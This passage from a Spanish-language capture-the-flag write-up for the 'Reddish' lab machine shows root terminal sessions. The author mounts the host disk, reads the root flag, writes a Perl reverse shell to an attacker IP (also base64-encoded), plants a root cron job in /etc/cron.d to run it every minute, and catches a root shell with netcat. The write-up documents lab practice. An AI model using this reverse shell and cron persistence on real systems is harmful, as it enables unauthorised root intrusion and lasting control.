drwxr-xr-x 2 root root 4096 Jul 15 2018 f187a0ec71ce99642e4f0afbd441a68b
-rw-r--r-- 1 root root 2023 May 4 2018 index.html
-rw-r--r-- 1 root root 17 May 4 2018 info.php
root@backup:/backup# du -hc /backup
du -hc /backup
36K /backup/8924d0549008565c554f8128cd11fda4/lib
48K /backup/8924d0549008565c554f8128cd11fda4
4.0K /backup/f187a0ec71ce99642e4f0afbd441a68b
84K /backup/assets
148K /backup
148K total
root@backup:/backup#
Como tenemos ese /dev/sda2 vamos a realizarnos una montura de este
root@backup:/mnt# mkdir Montura
mkdir Montura
root@backup:/mnt# mount /dev/sda2 /mnt/Montura
mount /dev/sda2 /mnt/Montura
root@backup:/mnt# ls Montura
ls Montura
bin
boot
dev
etc
home
initrd.img
initrd.img.old
lib
lib64
lost+found
media
mnt
opt
proc
root
run
sbin
snap
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
root@backup:/mnt#
De esta manera ya tenemos nuestra segunda flag
root@backup:/mnt# cd Montura
cd Montura
root@backup:/mnt/Montura# cd root
cd root
root@backup:/mnt/Montura/root# ls -la
ls -la
total 32
drwx------ 5 root root 4096 Jul 16 2018 .
drwxr-xr-x 23 root root 4096 Apr 9 12:09 ..
lrwxrwxrwx 1 root root 9 Jul 16 2018 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Oct 22 2015 .bashrc
drwx------ 2 root root 4096 Jul 15 2018 .cache
drwxr-xr-x 2 root root 4096 Jul 15 2018 .nano
-rw-r--r-- 1 root root 148 Aug 17 2015 .profile
drwx------ 2 root root 4096 Jul 15 2018 .ssh
-r-------- 1 root root 33 Apr 23 2018 root.txt
root@backup:/mnt/Montura/root# cat root.txt
Ahora como ya estamos en reddish vamos a decirle que nos realice una reverse shell a nuestra máquina y para eso modificamos nuestra shell.sh con la ip de nuestra máquina y un puerto que queramos ocupar
─[✗]─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #cat shell.sh
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: shell.sh
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ #!/bin/bash
2 │
3 │ perl -e 'use Socket;$i="10.10.14.77";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"
│ >&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Dentro de la Montura en el directorio tmp nos creamos un archivo que llamamos shell.sh
root@backup:/mnt/Montura/tmp# ls
ls
systemd-private-db1be127e4f84994a383c16671fe2e25-systemd-timesyncd.service-PKJ4Bk
vmware-root
root@backup:/mnt/Montura/tmp# echo "IyEvYmluL2Jhc2gKCnBlcmwgLWUgJ3VzZSBTb2NrZXQ7JGk9IjEwLjEwLjE0Ljc3IjskcD03Nzc3O3NvY2tldChTLFBGX0lORVQsU09DS19TVFJFQU0sZ2V0cHJvdG9ieW5hbWUoInRjcCIpKTtpZihjb25uZWN0KFMsc29ja2FkZHJfaW4oJHAsaW5ldF9hdG9uKCRpKSkpKXtvcGVuKFNURElOLCI+JlMiKTtvcGVuKFNURE9VVCwiPiZTIik7b3BlbihTVERFUlIsIj4mUyIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jwo=" | base64 -d > shell.sh
<yIpO2V4ZWMoIi9iaW4vYmFzaCAtaSIpO307Jwo=" | base64 -d > shell.sh
root@backup:/mnt/Montura/tmp# cat shell.sh
cat shell.sh
#!/bin/bash
perl -e 'use Socket;$i="10.10.14.77";$p=7777;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
Y continuando en la montura vamos a /etc/cron.d/ y nos creamos una tarea que ejecute nuestra shell.sh cada minuto como root
root@backup:/mnt/Montura/etc/cron.d# ls
ls
mdadm
popularity-contest
root@backup:/mnt/Montura/etc/cron.d# echo "* * * * * root sh /tmp/shell.sh" > shell
<c/cron.d# echo "* * * * * root sh /tmp/shell.sh" > shell
root@backup:/mnt/Montura/etc/cron.d# cat shell
cat shell
* * * * * root sh /tmp/shell.sh
Ponemos nuestra máquina a la escucha en el puerto que ocupamos en nuestra shell.sh y así tenemos una Reverse Shell de la máquina
┌─[root@parrot]─[/mnt/angussMoody/Machines/Reddish]
└──╼ #nc -nlvp 7777
listening on [any] 7777 ...
connect to [10.10.14.77] from (UNKNOWN) [10.129.229.102] 51216
bash: cannot set terminal process group (5602): Inappropriate ioctl for device
bash: no job control in this shell
root@reddish:~# whoami && hostname && id
whoami && hostname && id
root
reddish
uid=0(root) gid=0(root) groups=0(root)